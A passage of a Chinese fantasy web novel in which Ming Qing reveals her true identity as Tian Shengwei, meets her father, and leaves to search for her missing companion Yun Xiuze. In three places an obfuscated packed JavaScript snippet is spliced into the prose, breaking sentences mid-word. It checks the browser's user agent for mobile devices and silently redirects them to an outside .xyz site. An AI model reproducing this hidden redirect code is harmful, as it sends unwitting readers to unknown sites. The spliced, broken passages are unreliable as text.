这是个安静的午后,外面隐隐约约传来悦耳的琴音,还有两个人切磋交谈带来的刀剑碰撞的铿锵声。 有爽朗的笑声响起,似乎吸引了面前这人的兴趣。 他转头向外看去,面容又模糊在光里。 嘴唇张张合合,不知是不是光太刺眼,明青没能听清他的话。 他提步向外走去,两三步就已经到了门外。 明青急切的起身去追,伸手一抓,他却早已不在那里。 她迈出那间屋子,害怕失去的惶然满溢在她的心中。 周围的景象一直在变化,琴音和谈笑声分明就在耳边,她却像是迷失在方寸之地,无论打开多少扇门,跨过多少石阶,都无法抵达想要去往的地方。 不知何时出现的哭声萦绕在她的耳边。 明青回头,看到了母亲熟悉的身影正背对着她坐在桌边掩面哭泣。 纤弱的身影刺痛了她的心,她张着嘴,喉咙却像是被施了禁言术,根本吐不出一词半语。 她又一次想要伸手想要触碰,面前的母亲也像之前的那人一样,再一次消失在了她的眼前。 从天而降的朱门像一柄锋利的铡刀轰然落在她伸出的指前。 哭声并未消失,好像正等待着她破开这厚重的朱门将门后的人紧紧抓牢。 铮然弦断,琴音寂然。 明青再一次回头,眼中的景象飞快转换,这一次她终于到了他们的身边。 风亭里,古琴的断弦滴落着鲜血,而演奏它的人无声无息的趴在琴上,长发凌乱,十指都被鲜血浸透。 旁边,少年和青年握着各自的刀剑,狼狈、扭曲的倒在地上,致命的伤口遍布他们的全身,露出的脖颈上,已经不再有鲜活有力的脉搏跳动。 明青露出痛苦又不可置信的表情,手指僵硬的张开,没能在腰间找到自己的佩剑。 她一步一顿,身形不稳的向前走着,从他们身上流出的猩红的血浸染她的鞋底,让她每一步都带上了同伴的血痕。 哭声始终没有离开,此时变得愈发清晰。 她在路的尽头终于找到了他的身影,他好好的,安全的站在那里。 明青的僵硬的肩膀为此松动了几分。 丛生的树枝掩映他的面容,而他回头,笑着对她伸出了手。 她试探着想将指尖放上去,生怕他如之前一样化为泡影,他却在即将碰到的那一瞬间垂下了手。 明青不安的抬头,惊悚的骇然眨眼间穿透全身,大片的血迹已经浸透了他的青衫。 他本在微笑的唇角茫然的张开,刺眼的血顺着流到了他的下颚。 颤抖着,好像在说————救、救、我。 “云修泽!!!” 哭声和梦境在她的眼前宛如脆弱的明镜骤然碎裂。 明青悚然起身,梦中带来的痛苦麻痹着她的指尖,冷汗浸湿了她的衣襟,在分清那不过是一场梦后,颤抖着、劫后余生般环住了自己。 唐思月拉住想要上前的行愿,安抚的拍了拍他硬邦邦的手臂。 “我还是第一次听她发出这么大的声音。” 云修云见她这个样子心里也很难受,从小到大一直在身边的大哥此刻下落不明,他再怎么想要表现的坚强成熟,也还是会有身为弟弟的惴惴不安。 他难过又自责的垂着眉眼。 三人谁都没有过去,一直等到她自己平息了状态,才像是刚从外面回来,什么都不知道一样靠了过去。 唐思月掏出手帕给她擦了擦脸上的冷汗,笑着说。 “你这一觉睡得可够久的,不过可别怪我,你的状态太糟糕了,我不得不用点小手段。” “嗯。” 明青接过手帕自己又擦了擦,看着几人的身影,不知怎的就忽然闪过梦中的惨状,让她的动作控制不住僵了一下。 “你们说......人会做预知梦吗?” 唐思月往她手中塞了一碗粥。 “怎么会,你当人人都有资质成为司命吗?” 想到师傅,明青第一次有了想要写信询问未来的冲动,可不过片刻,这个念头就在她的脑中烟消云散。 看出她的不安,云修云故作轻松道。 “就是就是,普通人的梦一般都是反的,反的。” “......反的?” “嗯嗯嗯!我爹娘告诉我的,童叟无欺!” 不论是真是假,明青都为此短暂松了一口气。 简单吃了点儿东西后,几人重新整理好行装再次上路。 他们已经耗费了很长的时间自行寻找,在确定云修泽暂时不会有事之后,几人决定赶路,去到最近的有通神阁所在城镇。 既然几人之力无法做到,那便借由他人之力。 计都的范围十分之广,共有数十个大大小小的城镇,只有最中心住着帝王权贵的古城,才被真的命名为计都城。 四人来到一个边陲小城,这里并不算繁荣,但却是几条重要商路的关口,三教九流,各式各样的人流转在这里,是一个收集消息的好地点,所以这里也有一个通神阁的分阁。 这是离明青他们最近的一个,四人一进门,就有专门迎客的女使迎了上来。 只见她盈盈一拜。 “几位贵客有失远迎,不知可有什么吩咐?” 明青目光落到她身上。 “你认识我们?” 女使笑得波澜不惊。 “几位在大比之上大放异彩,第七洲之名恐怕已经传遍六洲,小女子识得也是自然。” 明青颔首不再多说。 “我们要找一个人的下落。” 女使:“可是要发布悬赏吗?” 明青摇头。 “不,我要你们亲自去找,行动隐秘一些最佳。” 女使的笑容深了些。 “请通神阁出手,价格不菲,几位可考虑清楚了?” “嗯。” “那请随我来楼上吧,我们一起敲定一些细节。” 通神阁内人士,可通过衣装来判断此人的等级权利。 明青看了看她身上的服饰,果断道。 “不,请你们分阁的阁主来。” 女使眼眸一凝,依然维持着笑容。 “阁主有诸多要事,几位还是随我来吧,若是我不能处理,自然会层层上交,还请不用担心。” 换言之,阁主不是谁想见就能见的。 明青拿出银令,再次重申。 “请阁主前来。” 女使一惊,居然是他们通神阁的晔银令,于是连忙正色道。 “失礼,几位请跟我到楼上稍坐,我这就去请示阁主。” 她将他们带到一间用于密谈的空房,奉上茶水后,就恭敬退了出去。 对于他们这么快就扬名六洲之事,云修云感到喜忧参半。 “明青姐,咱们现在这么出名,以后在外行走,不就相当于明晃晃的给敌人报位置吗?地图虽然不在咱们身上,但也只有咱们自己知道啊。” 明青没什么所谓的点了点头。 “水族那边的情况不明,明面上咱们也没有什么靠山,的确难保会有人来找麻烦,再加上咱们的伤还没有养好,所以在找到你哥之前,就暂时留在这里吧,通神阁至少不会让人把手伸到他们的地盘上来。” 明面上......云修云眨了眨眼。 明青静静的看着杯中的茶,思绪又飘回到了自己刚刚醒来的那天。 妖族死后会有内丹浮于尸身之上,若无刻意保存,两个时辰后就会随肉身一起消散于天地。 她不知自己昏迷了多久,只知道醒来时,所有妖族的身影都已消失不见。 那两只水妖也不知是死是活,有没有拿到地图。 明青轻轻敲了敲桌子,将三人的视线吸引过来,几不可见的勾了勾嘴角,突然说道。 “明青不是我的真名,但也不是故意瞒着你们,提前说一声,还望你们不要多思。” 行愿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他在最后加重了些语气,严肃的示意这件事情并不可行。 “一枚银令不行......”唐思月开口,又拿出一枚银令放在桌子上,随着她的动作,云修云和行愿也各自掏出了一枚。 唐思月轻轻笑道。 “那四枚呢?另外一提,要你们找的人,也是一位银令持有者。” 李绍看着桌上四枚如假包换的晔银令,心中默默惊骇,晔银令一共没有几枚,居然在这里一口气就让他遇上了四个,听他们所说,他们的同伴还持有第五个,那对这件事的慎重程度就要再提高不少。 李绍神情郑重起来,思忖片刻后说道。 “着实不瞒几位,这件事也已超出我的能力范围,之前所说也并非诳语,调动所有人手,通神阁所要承担的损失我也难以估量,这样,我向上申请,争取为几位调动一千五百人,最多两月,几位看如何?” 他说的认真,调动一千五百人的确已经表现出了很大的诚意,这样了,他们若是再继续施压,恐怕就有故意找事的嫌疑。 唐思月和明青对视,示意如此便够了,明青却仍然不太想就此罢休,心中也早已为此有所成算。 “任何身份都不能让你们动摇吗?” 李绍态度冷淡了些,依然客气的说。 “也并不是,通神阁毕竟所属个人势力,一切自由主人家定夺。” “那便对了。” 李绍不解皱眉。 明青慢慢道。 “通神阁本是我父亲一手经营,哪里有我这个做女儿的,没有点特权的道理。” 屋中静了一瞬,同伴三人的目光落到明青身上,李绍的心也慢慢往上提了几分。 他咽了咽口水,谨慎又恭敬的问道。 “您......贵姓?” 随着第七洲的声名鹊起,他们的名字也早已不是什么秘密,此时李绍问起,显然就是在询问她是否有其他名字。 明青端坐,听他问话,垂着的眉眼动了动,抬眸启唇,始终内敛的磅礴气势由她压低的眉眼展露而出。 众人听见她说。 “我叫盛微,天——盛微。” 天,乃皇姓也。 62. 曲衣三 明青......不,天盛微将一块玉牌拿出来,这是她家族的族徽,足以证明她的身份。 李绍谨慎辨认过后,双手奉还,恭敬道。 “李绍见过皓明郡主。” “不必多礼。” 李绍直起身子,仍微微低着头,说道。 “我这就去跟主阁通个气,两日内给您满意的答复,您先在此稍待,一会儿会有人来带您几位前往居所。” 见天盛微额首,李绍才转身离去。 屋中没了外人,其他三人才开口。 云修云有点惊讶,对于天盛微的身份,他虽知道大概不是普通家族,却也没想到能显赫到这个地步。 “......皓明郡主?” 天盛微解释道。 “我是外姓王明王和顺义长公主的女儿,本朝律令,凡皇家血脉皆用天姓,不过我父亲姓明,我是单字为青,所以明青并不算假。” “我哥知道吗?” 天盛微眼神一黯。 “他知明青为假,知我名微,却不曾知晓全名和身份。” 云修云见她情绪不高,就十分乐观的宽慰她。 “没事,之后会知道的,明青...啊...不是,盛微姐的身份一定能吓他一跳!” 天盛微又想起那晚她不让云修泽继续追查,本以为还会瞒上一段时间,却不想天意弄人,真实身份很快被揭晓,他却不在亦不知晓。 唐思月好奇的问道。 “盛微你是凡人贵族,为什么能修法呢?” 唐思月有此一问,是因世间芸芸众生早已有所不同。 回溯历史的长河,那时几乎所有的人族都拥有修法的天赋,而实力越是高强,寿元就越悠久。 当时的皇族对亲缘传承看的较为淡薄,实力强者方才称王。 也正因如此,成为帝王者往往拥有长久的统治权,若为圣君,百姓便能安居乐业,若为暴君,那便是数十数百年的压迫。 直到一位君主的出现。 他的实力超越了之前所有的帝王,也同样拥有登顶称王的野心,他成功掀翻了上一任暴君的统治,自己走上了王位。 幸运的是,他心性仁爱,有着将国家治理成太平盛世,流芳千古的决心。 但不幸的是,他的身边并无多少可用之才,而他自身也并不擅长治理国事。 权臣将一切看在眼里,开始阳奉阴违,渐渐的,本就民不聊生的百姓迎来了一场史上最严重的瘟疫。 瘟疫的大规模暴发再也瞒不住被蒙住双眼的帝王,愤怒之下,他将贪官尽数斩杀,无论大事小事,都开始亲自过问。 空有仁心和武力的帝王殚精竭虑,每日往返在各个瘟疫地区。 可尽管如此,也没能阻止这场天灾的蔓延。 他只能眼睁睁看着他的百姓在他眼前哭嚎惨死,看着那无数双曾经承载着期盼的眼神变得黯淡无光。 抄家敛来的财富堆积在国库之中,却没有得力的人手办事,官场人人自危,纵使吩咐下去,十分的力也只能结三分的果,仅凭他一人之力,纵使有翻山覆海的手段,也是难填沟壑。 瘟疫还在蔓延,曾经尚有人烟的街道变得残破不堪,壮丁几乎死尽,老弱妇孺也人数锐减,剩下的也只是在苟延残喘。 这个世道彻底完了。 在意识到这一点的那一天,帝王崩溃了。 他意识到这是老天的惩罚。 怨怼、痛恨、自责和悲戚充斥着他的脑海,于是他做出了一个决定。 他用自己的血,在月圆之夜完成了一个古老的血阵。 他剜去双眼,咬断舌头,刨开心脏,对世人种下诅咒。 ‘我愿永堕地狱,不入轮回,以我命、我血、我之魂魄、我之法力化为锁链,唯愿后代世人,掌权贵族永不得修法,修法者若入权力之争,搅万民之安宁,则入万劫地狱,万死不得超生!’ 当时的最强者以自己为笔刻下诅咒。 不知是不是这个诅咒真的生效了,还是繁衍生存的自然选择,渐渐的,之后的帝王权贵,竟然真的无法再修法,而百姓中拥有修法资质的人也越来越少。 凡人与修法者,从那时起,才真正开始分为两种截然不同的身份。 天盛微既然是贵族,就基本不可能拥有修法的天赋,更别提实力还如此出众。 天盛微想了想,说道。 “这是意外,自我兄长失踪后,母亲常常以泪洗面,我也担心兄长,所以年幼不知事,常常跑出来偷偷寻找,有一次被人劫走,半路逃了出来,没想到竟已到了清秋道的地界,误打误撞进了周天山,被师傅收为了弟子。” 行愿声音严肃。 “你不该如此莽撞,幸亏你有些气运在身,不然别说修法,现如今在哪估计都不知道了。” 天盛微低头。 “是,我也知道。” 唐思月托着下巴。 “这件事虽然也不是完全没有例外,但一般都少的可怜,你们家出了你一个就算了,你哥哥也是修法者吧。” 天盛微一顿。 “你如何猜得?” 唐思月有点好笑的摇摇头。 “哪里用猜,你出来找你兄长,不就是因为他的命灯还没有灭吗?” 尽管现在凡人贵族和平头百姓都已经没了修法的资质,但一些人家里仍然保持着点燃命灯的传统。 每当有幼童降生,取幼童心头血,若能点燃命灯,便说明此子有修法的天赋,反之则不然。 而天盛微家作为皇族,却一连点燃了两盏。 天盛微这才恍然,有些难忍的揉了揉额角,疲惫让她的思绪变得不再灵敏。 云修云有些担心。 “盛微姐,你们家没事吗?” 天盛微小幅度的摇了摇头。 “无碍,我们家只是闲散富贵,出于避嫌,永远都只会站在权力最边缘的位置。” 她的父亲一手建立了手眼通天的通神阁,又被先帝玄武封为异姓王,再加上娶了长公主,种种加下来,纵使手中没有兵权,也绝对会招人忌惮。 出于对闰和帝的尊重和规避,也为了保护家人,明王府中除了几个亲信,其余人等尽皆出于皇城,以此来向帝王证明自己只想当个闲散王爷的决心。 这么说,是天道判断他们家绝不可能掌权? 唐思月歪了歪头。 “话说你不是离家出走吗?这次表明身份,不会被抓回去吗?” 抓回去应该是不会被抓回去的。 天盛微默默想道。 但恐怕少不了一些来自父亲的问候了。 尽管她的心里早有准备,可没想到还是准备的不够。 某一日,天盛微推开房门,猝不及防就见到了负手立于房中的父亲。 她关上房门,走上前亲自倒了杯茶,一边双手奉上,一边在父亲面前露出了些女儿姿态,眨眨眼,装乖的喊道。 “爹。” “还知道我是你爹。” 明父不咸不淡的看了她一眼,发现没缺胳膊少腿的,就接过茶,坐了下来。 “你跑什么?不就是你母亲给你相看了几个人家,就吓得吱也不吱一声跑出来,大海捞针的找你兄长了?” 天盛微抿抿嘴没有回话。 明父显然也很习惯她的寡言少语,端着茶的手停了一会儿,转身将茶盏磕在桌子上。 “效仿你哥留封信就走,你可想过你母亲,前些时日,命灯突然飘忽不定,你们母亲因此心悸难忍,夜夜都是噩梦。” 天盛微露出愧疚的神色。 “女儿不孝。” 明父一边生气,一边又不忍心,看了她半晌,最终还是叹了口气,态度软和下来。 “遇到什么事了?跟爹说说。” 天盛微垂下眼,声音低了几分。 “队长丢了。” 明父露出点笑意,他们的事他自然清楚,纵使心中有气,也不妨碍他为孩子感到骄傲。 “叫云修泽的那个小伙子?你们可是闯出了不小的名头,好多人来跟我打听你们,第七洲,倒是有点意思。” “您也知道了。” “大比结束三个时辰,你们的消息就到我手里了。” 明父想了想,慢慢说道。 “我不拘着你,也可以帮你瞒着你母亲,但你不能以身犯险,你哥哥还没消息,你不能也这样,知道了吗?” 天盛微动了动手指。 “女儿知晓。” 明父又露出点思索的神态,态度不明的问她。 “你的那几个同伴我查了一下,云家两兄弟的身份没有问题,我与他们父亲曾有几面之缘,单看长相也知道是亲子无疑,唐家把唐思月这个小姐隐藏的很好,现在也是,虽然在众人面前一直戴着面纱,但不是全然没有消息,大概也是真实的,但不可掉以轻心,还有这个行愿......” 明父沉吟片刻。 “他像凭空冒出来的,他的刀我总觉得......也罢,我只是不放心,你自己也警惕着点。” 明父的眼神让天盛微感到他好像是松了口气,又像是有点看好戏的样子,复杂的让她看不明白。 明父会调查她身边的人,天盛微并不觉得奇怪,但信任的同伴被父亲点名要生起戒心,心中还是会有些许不愉。 明父自然知道她在想什么,心中暗暗叹了一口气,这个女儿被他们养的太过纯粹,他的眼神锐利,突然逼问道。 “镜双子的事你非要参与吗?” 天盛微坚持。 “我要找到兄长。” 明父下巴微抬。 “你兄长的下落已经有了眉目,你不必参与这事,总有一天,也能见到他的。” 天盛微骤然听到这个消息,心中半惊半喜。 “爹?” 明父拂袖,背过身去。 “不用想了,我不会告诉你的,我明白,你们都有自己要走的路,但父母之心,难以轻易放手,你若不放弃去招惹那两个疯子,就自己去找线索吧。” 天盛微顿了顿,这一路上,他们听到了无数关于镜双子的评说。 红衣如血,狂妄肆意,冠绝天下。 这三个词始终追随着那两个影子。 她本以为多少会带些人们的夸张之意,但此时,通神阁阁主明遂钧也脱口而出‘两个疯子’,让天盛微心中有了几分沉重。 “您见过他们吗?” 明父思考了片刻,现在的天盛微已经卷入了此事,且看她的样子也并不打算放弃,今日会面,他也能察觉到女儿身上显著的成长。 事情已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214347|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经变得复杂起来,往日不可说之晦语,现在为了安全,也应该让她知晓一二。 “我曾远远见过几次,他们本是修法之人,原就不会和我们产生过多纠葛,我能见到他们,也是意外。” 明父的神情严肃。 “若他们仅仅是实力高强,我便也不阻止你了,可他们桀骜不驯,多出格的事都做过。” 明父的眼神动了动,似乎陷入了回忆。 他未曾与镜双子相识,也并未对他们有多少深刻的了解,只是因为一场意外,迂回中让他们之间有了细微的联系。 那时的人们总是说着,哥哥斜月装的温柔,妹妹瑶情则是连装都懒得装,但这两人在本质上都有着一般无二的疯狂。 这样的人,却让他的儿子离家追寻,如今女儿又要和他们对上,总让他心中隐有不安。 再加上身份不明的同伴,若他的猜想没错,那恐怕...就是......,但是...的目的是什么? 想到某种可能,明父心中越发动荡不止,年轻时曾在镜双子身上感受到的压迫再一次变回不易被察觉的恐惧出现在他的心里,让他仿佛在眼睁睁地看着自己的孩子走入天罗地网。 这种无力感充斥着他的全身,可一想到自己的儿子还在那里,又不禁宽慰自己事情没有那么糟糕,他不会眼睁睁看着自己的妹妹被伤害。 更何况,若是他此时将事情捅破,那魔头又不知会干出些什么事来。 想到这里,明父难免再一次动了要带天盛微回去的心思。 可忽一看到她的眼神,就又将那口气泄了下去。 他已经不再年轻了,而最能在这种困境中闯出生路的,往往又是无知无畏的年轻人。 这种时候,他最好还是把嘴巴闭紧吧。 也罢。 “爹?” 天盛微微微蹙眉,察觉到明父的状态不太对劲。 明父却哼了一声,毫不迟疑的推翻了自己之前的想法。 “我是管不了你了,想知道什么自己找去吧!” 天盛微知道再问下去也从明父这里翘不到什么消息,于是将心静下来,开始和他商量别的事。 “爹,我娘她知道了吗?” 明父摇头。 “尘埃未落之前,还是不要让她白白担心的好,你放心,你们的消息是心腹直接呈上来的,没有过旁人之手,放出去的也都无关痛痒。” “若有人向通神阁买凶......” 明父瞥了她一眼,明知她在试探,却也拿她无可奈何。 “他们什么都不会从通神阁这里得到。” 通神阁除了皇族和几个像镜双子这样顶尖人物的生意不做,向来是什么都敢接手。 若他们不接第七洲的生意,旁人自然便会知晓他们站在了第七洲的身后,天下第一商会这个名头,足以让绝大多数人望而却步。 天盛微轻轻勾了勾嘴角。 “多谢父亲。” 明父屈指敲了敲她的额头,恨铁不成钢。 “你啊你,好不容易肯漏点儿踪迹,就让你爹损失这么多,调派通神阁所有可用的人手,你何至于此啊?而且你的额珠呢?你母亲给你的,你就这么弄丢了?” 天盛微无意识伸手摸了摸被敲的额头,没有碰到额珠那熟悉的手感,指尖不禁顿了顿,低声道。 “没有丢,在找呢。” “你跟云家那个小子什么情况?” 天盛微抬眼,明父皱眉。 “别想着糊弄我,你是我女儿,我还不了解你吗?闹出这番动静,绝不是普通的同伴吧?” 天盛微复又把眼睛垂下去。 “他挺好的,但我们只是同伴。” 看着她这副模样,明父的眉又拧紧了几分,突然就有点儿不太想帮忙找人了。 虽说他一直担忧女儿性情孤冷,纵使心地柔软,但无人敢接近,也是看不到的,可真当这一天来临时,欣慰之中又掺杂了几分怒火和不舍。 但转眼一想,总归是八字没一撇的事儿,待将人找到,以后若有诚心,少不了要来一顿敲打审查。 隐世大族中,以云家、柳家、齐家为首,其中,云柳两家关系密切,招惹一个恐怕来的就是两个。 明父默默盘算了一下手中的筹码,觉得还是可以招惹招惹,于是便放下了心来。 他皱眉揉了揉额角,挥手让她离开。 等她离开后,明父才在房中安静的将思绪过了一遍,想到隐姓埋名的长子,还是忍不住露出了点儿难过的神色。 天色渐渐暗了下去,房中却没有点亮烛火,只留明遂钧一人坐在桌边,任由暗色将他包裹,显得有些落寞。 他失意的喃喃自语,声音消散在他一人的耳中,再没有第二人窥见父亲的脆弱。 “恩垚啊,你还没原谅父亲吗......” 天盛微走在回廊之中。 父亲出现在这里,她明白,通神阁马上就要动手,之前通过云修云的感应,她已经给李绍提前划下了重点追查的方向,可为免遗漏,还是要四处都找上一找。 但父亲今天有点奇怪,仿佛有什么事困住了他,是关于他们吗?还是关于镜双子? 她的脚步忽然一停,罕见的有些迟钝。 等等? 那好像是她的房间? 63. 曲衣四 天盛微回去看了一眼,发现明父还没有离开,房中也没有燃灯,于是就把房间留给了他,准备到处走走再找个地方歇下。 他们分开的实在是太过仓促,也不知云修泽现在何处,是否遇到了好心人,身体又是否有所好转。 天盛微漫无目的的出神,忽然在树下看见了行愿的身影。 他坐在那里擦拭着刀身,在转动的片刻,天盛微发现刀身上似乎刻着什么字,却因为月光的反映没有看清。 原来那把刀是有名字的? 平常而论,武器的名字一般都刻在鞘上,而他的刀鞘上没有,所以几人一直默认那把刀是没有名字的,现在看来却并非如此。 天盛微抬眼四处看了看,这才发现不知不觉间竟然走到了唐思月的住所附近,也难怪行愿会在这里。 那边行愿也看见了她,将刀收回刀鞘,冲她点了点头。 虽然刚刚明父还提醒过要对行愿生起戒心,但说实话,此时遇到的不是别人而是他,天盛微反而感到了几分安心。 行愿虽然寡言,但骨子里却是个温和的人,天盛微偶尔能从他身上找到记忆中兄长的影子。 天盛微走到他身边坐下,行愿问。 “怎么了?” “我父亲来了。” 行愿一顿,确认道。 “通神阁阁主?” 天盛微点了点头。 “要带你走?” 她继续点头,但片刻后却又摇了摇头。 今日父亲说了很多,透露了兄长天恩垚的消息,但又不肯告诉她,双生子的事也是,总觉得还有什么未尽之语。 她最近一直没太睡好,总是梦到母亲的哭声和云修泽在她面前死去的场景。 现在摆在她面前的谜团就好像已经出现了可以剥丝抽茧的线头,但却真真假假,不知道藏在哪里。 很多事情一起充斥在她的脑海,让她本就疲惫的心神变得更加难以负荷。 因为头痛,天盛微难忍的蹙眉,又趁着行愿还没发现的时候重新展开,没让他看出自己的异样。 “不过我父亲既然来了,那找云修泽的事应该就没什么问题。” 天盛微对于云修泽的关切几人都看在眼中,两人分明是互生情意,却好像总是差着一步。 行愿微微歪了歪头。 “你们不在一起,是因为你对修泽是有什么顾虑吗?” 天盛微的眼神空了片刻,看了看行愿面具后的眼睛,莫名就想对他倾诉一二。 她的嘴唇微张,有些不太熟练。 “我有个哥哥。” 行愿点了点头,听她继续说下去。 “我与哥哥修法,父母却是普通人,母亲身体不好,失去哥哥对她的打击很大,自哥哥走后,她便每日以泪洗面,只有我在她身边时,她才能感到宽慰。” 行愿沉默了片刻。 “她很不好吗?” 天盛微抬头望了望有星子闪烁的夜空,轻轻嗯了一声。 “母亲就像被娇养长大的花朵,再经不起与孩子离别的风雨。” “所以你?” 天盛微嘴角露出了点儿清浅的笑意,眉眼却平静的很。 “修泽不可能离开他的家族,哥哥不在身边,像抛却顾虑去找人的事情,我也就只能任性这一次了。” 自她有记忆起,母亲就一直不爱出门,胆子很小,性格也很柔顺。 但她似乎并不是一直都是这样的。 父亲曾说,很久以前,母亲要比现在活泼许多,甚至有的时候说的上泼辣。 她不知道母亲究竟是遭遇了什么,才变成现在这个样子。 但记忆中,父亲曾拍着他们兄妹二人的肩膀,煞有其事的告诉他们。 ‘恩垚和盛微要保护好你们的母亲。’ 是,盛微会做到的。 那时她如此回答,现在也不曾改变。 行愿看着她,声音因为面具而变得有些沉闷。 “是你兄长将你禁锢住了。” 天盛微听到,却摇了摇头。 “不,从来都是人心自禁,哥哥有自己的路要走,我也未曾觉得这是负担,对于云修泽,我只是情难自禁,也深觉遗憾。” “那就不要让他变成遗憾。” 天盛微有些意外行愿竟然还会说这样的话,回道。 “我会努力。” “你会找到你哥哥的。” 天盛微低头拨弄了一下石桌上摆着的茶杯。 “我找他仅仅是因为想找到而已。” 并不是想要求他什么,哥哥如果在外面活的开心,那她也是很高兴的。 她不想再见到哥哥将自己困在院子里时,脸上露出的落寞的表情。 行愿默默点头。 在天盛微走后,他也往自己的房间走了几步,却越走越慢,最终停了下来。 他盯着地上自己被月光映出的影子,转身几个起落来到了唐思月的门前。 他抱着刀坐在她的门旁,几息过后,便听到了房门被打开的轻微吱呀声。 唐思月垂眼看他。 行愿闷声问道。 “你听到了吗?” 唐思月不语,他便接着说下去。 “竟是因为这个原因。” 唐思月伸手,指尖触上了他的面具。 他抬脸看她,感到她的手指在面具上轻抚片刻,随即就游移到了面具的边缘。 稍一用力,面具就被摘了下来,露出了下面清晰的眉眼。 唐思月的手一松,面具就落到了行愿自己的怀中。 她说。 “那是她自己的选择,人心复杂,能被所有细微之物动摇,就像你一样,你知道你想要什么吗?” 脱离了面具,他的声音变得很清晰。 “我......还不确定......也许?” “人与人之间,无论是何种关系,都是相互依偎却又独自过活的,她想做的事,最终还是要由她来决定,你也一样。” 见行愿默默捧着面具也不说话,她又问道。 “你很担心他们吗?” 行愿点头。 “有点。” 唐思月看着他,想起了他刚刚来到她身边的时候。 那天,雷雨交加。 他披着蓑衣,戴着斗笠,但浑身上下还是被淋透了。 至于他们究竟说了些什么,她已经基本忘了,但她仍然记得,他的眼神充斥迷茫和坚定。 他说,‘我想跟着你,给我个名字吧。’ 于是,‘行愿’便诞生了。 他现在已经变了很多,若是那时的他,面对这样的问题,恐怕只会沉默不语。 “头还会痛吗?” 行愿愣了愣,才注意到他的头痛已经很久没有发作过了。 他来到她的身边,冷眼旁观着,分辨着,直到现在。 那发作起来令他痛不欲生的头痛,也在这个过程中,间隔的越来越久。 “有好转,不是吗?” 行愿迟钝的点了点头,又抬头问道。 “镜双子,我们还会找多久呢?” 唐思月漫不经心的看了一眼月亮。 “等到实力够强的时候,自然便能找到了。” 她垂眼看着行愿,笑了笑。 “在此之前,你可要保护好我啊。” 行愿的手指在面具上摩挲片刻,又重新低头戴了上去。 “只要你需要。” 四人在这里养了一个月的伤,在此期间,每天都有人来向天盛微汇报情况,日复一日的‘还没找到’让她变得越来越寡言。 四人仍是聚在一起用膳,天盛微不好过,他们的心里同样也不舒服。 这一日晚膳时,唐思月注意到云修云的情绪有些不自然,便在饭后前去找他。 唐思月找到他时,他正在院子里给追云梳毛。 他站在追云身边,抚了几把它脖子上的鬓毛,眉头皱着,面露纠结之色。 “怎么把追云牵到这儿来了?” 唐思月提步上前。 云修云没注意到她,被吓了一下,见到来人是唐思月后,便笑了笑。 “没事,就是牵它出来溜溜,夜里风凉,你怎么来了?” “我感觉你情绪不大对劲,来问问你。” 云修云转过头去,声音一如既往的有活力,但在唐思月看来更像是故意为之。 “我没事,只不过饭菜有些不合胃口罢了。” 唐思月歪头看了他片刻。 “可是老大出什么事了?” 云修云背影一僵,唐思月暗叹,实在是太好懂不过了,见他还是没说话,便说道。 “盛微最近状态不太好才没注意到你的异样,但这件事你不可能一直瞒着她,发生了什么,你先告诉我,我们一起商量。” 过了半晌,云修云才低声说起来。 “下午的时候,我突然感觉到我哥的状态有波动,伤本来已经轻了许多,不知道为什么又突然加重了。” 他皱眉摇了摇头。 “我很担心他,我哥的体质你也清楚,这伤既然那么长时间还没好,那就只能说明他命悬一线的状态让他体内所有能修复的都先紧急给他吊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他的状态不太对劲,像是重伤缠身,管事见此,心中动了些心思,于是吩咐下面的人要将他留下,自己则去告知阁主,可尽管如此,那个男子还是一转眼就不见了踪影。 后来天盛微的吩咐下来,让管事更加怀疑起那个人,于是连忙报了上来。 只是康平距离他们实在遥远,灵鸟日夜不休,各个分阁接力相传,才在如此短的时间内将这个消息传到了四人耳中。 天盛微当机立断,决定立马动身前往康平。 四人骑上三匹马,正准备出发时,身后传来了踏风的嘶鸣。 他们回头一看,一个小厮被它拖着朝他们跑来。 天盛微连忙下马救下了那个小厮,小厮低头向他们认错,声音有些委屈。 “小姐恕罪,刚刚踏风看到追云它们被牵走,就一直想跟上来,我没习过武,力气不大,又怕伤了它,根本拦不住。” 天盛微看到小厮握着缰绳的手都红了,整个人都是被拖过来的,于是也不怪他,只是让他下去。 小厮行了个礼就转身匆匆离去。 天盛微一回头,就被马头撞了个正着。 踏风鼻子喷着气,耍脾气一样的将她撞退了好几步,似乎在责怪她不带上自己。 天盛微一开始有些无措,可很快便明白过来。 她伸手安抚着踏风,心中默默想道。 生灵有情,亦会如我们一般担忧你的处境。 踏风的精神一直不太好,天盛微本来是打算将它留在这里好好修养的,但现在看来,还是一起上路的好。 “好了,好了,我们一起去找他。” 天盛微低声安抚着踏风,不知它是不是真的听懂了,竟然很快安静了下来。 没人在它背上,它便自己跟着跑。 四人四马再次上路。 康平位于计都之南,其中各方势力,以净安山的净安寺为首。 净安寺内高僧无数,百姓常常往返礼拜,也常有文人贵眷往来。 所以康平相较于其他各地,民风更加平和包容。 现下那黑衣人是不是云修泽还不确定,但天盛微直觉觉得就是他没错。 他们分离了一个多月的时间,他为什么会到康平,又为什么不想办法联系他们? 天盛微于马上疾驰,却心如飞燕,早已冲向了遥亘千里的康平。 